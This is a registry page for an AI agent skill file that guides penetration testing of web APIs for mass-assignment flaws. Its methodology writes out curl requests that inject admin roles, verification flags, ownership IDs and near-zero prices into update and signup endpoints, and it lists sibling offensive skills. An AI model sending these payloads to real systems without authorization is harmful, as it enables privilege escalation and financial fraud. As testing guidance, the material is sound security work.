mass-assignment
Skill1 starsChanged 11 days agoMITView on GitHub
Hunt for mass assignment: binding user-supplied JSON/form fields directly onto ORM models or DTOs without an explicit allow-list, letting attackers set hidden/protected fields (isAdmin, role, balance, verified, price) that the UI never exposes. Use on any create/update endpoint (profile, registration, order, settings) backed by an ORM or auto-binding framework. Keywords: mass assignment, over-posting, isAdmin, role field, hidden parameter, autobinding, ActiveRecord, Mongoose, Django ModelForm. Do NOT use for the broader API authorization survey (BOLA/BFLA) — use api-abuse for that; this skill is specifically about extra/hidden fields accepted on otherwise-authorized requests.
- Sends data out
3 other projects use a version of this.
Adopted by
Most recently taken up by
- conjure-3301/skillstheir own version, first seen Aug 17, 2026
- thejefflarson/soundchecktheir own version, first seen Jul 31, 2026
- KaanBicaklar/mona-sast-skillstheir own version, first seen Jul 9, 2026
Other versions3 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 3
- thejefflarson/soundcheck★ 20same name
- KaanBicaklar/mona-sast-skills★ 2same name
- conjure-3301/skills★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository124 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- ai-agent-reconSkill
- ai-supply-chainSkill
- exfiltration-via-aiSkill
- indirect-injectionSkill
- llm-fuzzingSkill
- prompt-injectionSkill
- rag-poisoningSkill
- tool-abuseSkill
- chain-analysisSkill
- chain-auth-to-takeoverSkill
- chain-customSkill
- chain-graph-walkSkill
- chain-idor-to-mass-dataSkill
- chain-info-to-exploitSkill
- chain-multi-appSkill
- chain-ssrf-to-cloudSkill
- chain-web-to-rceSkill
- chain-xss-to-account-takeoverSkill
- email-securitySkill
- engagement-flowSkill
- finding-disciplineSkill
- http-headers-securitySkill
- oob-interactionsSkill
- opsec-disciplineSkill
- research-firstSkill
- scope-disciplineSkill
- scope-importSkill
- session-contextSkill
- 2fa-bypassSkill
- api-abuseSkill
- auth-bypassSkill
- broken-access-controlSkill
- business-logicSkill
- cache-poisoningSkill
- clickjackingSkill
- corsSkill
- credential-testingSkill
- crlf-injectionSkill
- cryptographic-oracleSkill
- csrfSkill
- css-injectionSkill
- data-exfiltration-testSkill
- deserializationSkill
- email-injectionSkill
- file-uploadSkill
- fuzzingSkill
- graphqlSkill
- grpcSkill
- host-headerSkill
- http-smugglingSkill
- idorSkill
- info-disclosureSkill
- jwtSkill
- lateral-movementSkill
- lfi-rfiSkill
- oauthSkill
- open-redirectSkill
- parameter-pollutionSkill
- password-resetSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
5 rules. About 0 are common, 4 are distinctive, and 1 is very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈4
Distinctive · estimate
This author's own choices. Worth a look.
1
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 28
Create/update endpoints accepting a JSON or form body with many fields (PATCH /api/users/me, POST /register, PUT /api/orders/{id}).
- Distinctive: line 44
If an admin account is available for comparison, diff field sets:
- Distinctive: line 109
Always show the baseline field list pulled from the GET response to justify why that field name was tried.
- Distinctive: line 117
Don't forget PUT vs PATCH vs POST can be bound differently in the same framework — test all verbs the endpoint accepts.
- Distinctive: line 121
Before declaring this finding complete, probe these escalation paths:
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Signals
- Create/update endpoints accepting a JSON or form body with many fields (
PATCH /api/users/me,POST /register,PUT /api/orders/{id}). - Framework known for convenient auto-binding: Ruby on Rails (
ActiveRecordwithoutstrong_parametersenforcement), Node + Mongoose (Model.create(req.body)/Model.findByIdAndUpdate(id, req.body)), Django (ModelForm/DRFModelSerializerwithfields = '__all__'), Spring (@ModelAttribute/@RequestBodybound directly to an entity), Laravel Eloquent without$fillable/$guarded. - A response from a GET on the same object revealing field names not present in any form (
role,isAdmin,verified,credit_balance,plan_tier,discount_percent). - Registration flows where the account is later manually "approved"/"verified" by an admin — a sign a
verified/approvedboolean exists server-side.
Prerequisites
- A full GET response of the target object to harvest real field names (
/api/users/me,/api/orders/{id}). - Two test accounts: one normal, ideally one legitimate admin account to diff field names/values the normal account should never see.
Methodology
- Harvest the full field list. Pull the GET representation of the object and list every key, including ones the UI doesn't render:
If an admin account is available for comparison, diff field sets:curl -s https://target.com/api/users/me -H "Authorization: Bearer $TOKEN" | jq 'keys'diff <(curl -s .../users/me -H "Authorization: Bearer $TOKEN_USER" | jq 'keys') \ <(curl -s .../users/me -H "Authorization: Bearer $TOKEN_ADMIN" | jq 'keys') - Baseline the legitimate update request, capture it in Burp, note exactly which fields the real UI sends on a normal "save profile" action.
- Inject hidden/privileged fields into the same request, one at a time first (to isolate which one sticks), then combined:
curl -s -i -X PATCH https://target.com/api/users/me -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" -d '{"name":"Test User","role":"admin"}' curl -s -i -X PATCH https://target.com/api/users/me -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" -d '{"name":"Test User","isAdmin":true}' curl -s -i -X PATCH https://target.com/api/users/me -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" -d '{"name":"Test User","verified":true,"email_verified":true}' - Confirm the change actually persisted with a fresh GET (don't trust the PATCH response alone, some apps echo input without actually saving it):
curl -s https://target.com/api/users/me -H "Authorization: Bearer $TOKEN" | jq '.role, .isAdmin' - Test on registration/signup, not just profile update — new-account mass assignment is often higher impact (instant privilege at account creation):
curl -s -i -X POST https://target.com/api/register -H "Content-Type: application/json" \ -d '{"email":"newattacker@test.com","password":"Test123!","role":"admin","is_staff":true}' - Test on nested/relational fields. ORMs sometimes allow mass-assigning a relation ID that changes ownership or tier:
curl -s -i -X PATCH https://target.com/api/orders/1042 -H "Authorization: Bearer $TOKEN" \ -d '{"status":"shipped","user_id":99,"total_price":0.01}' - Nested object mass assignment. Try wrapping the privileged field inside a nested object matching the ORM's association structure, in case flat-field filtering is applied but nested isn't:
curl -s -i -X PATCH https://target.com/api/users/me -H "Authorization: Bearer $TOKEN" \ -d '{"name":"Test","profile":{"role":"admin"}}' - Automate field discovery against the endpoint using known-sensitive field name wordlists:
arjun -u https://target.com/api/users/me -m PATCH --headers "Authorization: Bearer $TOKEN" \ -w sensitive_fields_wordlist.txt
Tooling
curl+jqfor field harvesting and diffing (fastest, most reliable for this skill).arjunfor scaled hidden-parameter discovery across an endpoint.- Burp Suite Autorize/Repeater for manual iteration and request duplication across accounts.
Root Causes
- ORM/framework binds the entire request body onto a model instance without an explicit allow-list (
strong_parameters, DRF serializerfields, Mongooseselect, explicit DTO mapping). - Sensitive fields (
role,isAdmin,balance,verified) live on the same model as user-editable fields, with no separation of trust boundary. - Developer trusts that "the frontend doesn't send that field" as the only protection.
Validation Gate (minimum proof)
- Request/response showing the mass-assignment payload, plus a follow-up GET confirming the field's new value actually persisted server-side — a PATCH 200 response alone is not proof of persistence.
- For privilege fields: proof the elevated privilege actually works (e.g. the now-"admin" account can access an admin-only endpoint that previously 403'd) strengthens severity from Inferred to Demonstrated.
- Always show the baseline field list pulled from the GET response to justify why that field name was tried.
Gotchas
- Minimum proof: the PATCH/POST returning 200 is not enough — verify the actual field changed via an independent GET; some frameworks silently ignore unknown-but-accepted fields while still returning success.
- Common N/A: framework enforces an explicit allow-list (
strong_parameters,fields = [...]on a DRF serializer, a hand-written DTO/mapper) — attempted injected fields simply don't appear in the follow-up GET; close as N/A after confirming with at least 2–3 distinct field name attempts (don't stop at one). - Overclaim trap: a field that persists but has no security impact (e.g. a cosmetic
theme_coloryou weren't supposed to set directly but doesn't matter) is not a finding worth escalating — focus on privilege/financial/trust fields. - Some apps validate field values but not field presence (e.g. reject
role: "superadmin"but acceptrole: "admin"because that's a technically-valid enum value just not meant to be user-settable) — test the full range of valid enum values, not just the most obviously dangerous one. - Don't forget PUT vs PATCH vs POST can be bound differently in the same framework — test all verbs the endpoint accepts.
Chain Anchors
Before declaring this finding complete, probe these escalation paths:
- Privilege field injection — Can you set a privileged field (isAdmin, role, verified) that isn't exposed in the intended form?
- Price/quantity tampering — Can you inject fields controlling price, discount, or balance that the client-facing form doesn't expose?
- Cross-object injection — Can you set foreign-key/ownership fields (userId, orgId) to reassign a resource to another entity?
- Consistency across endpoints — Does the same unfiltered-bind pattern exist on related create/update endpoints?
A finding without chain anchor results is INCOMPLETE. Record each anchor as tested/not-applicable/blocked with the reason.
Chains & Compositions
- Mass assignment of
role/isAdmin→ direct privilege escalation, chain with broken-access-control to demonstrate downstream admin-only access. - Mass assignment of
price/discount_percent/quantityfields → chain fully into business-logic for the financial-impact writeup. - Mass assignment discovered via the broader API survey → cross-reference api-abuse where this was the entry point.
- Mass assignment via nested object bypassing flat-field filtering → relevant if the app also has a prototype-pollution-style merge utility; check if the same gadget applies.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

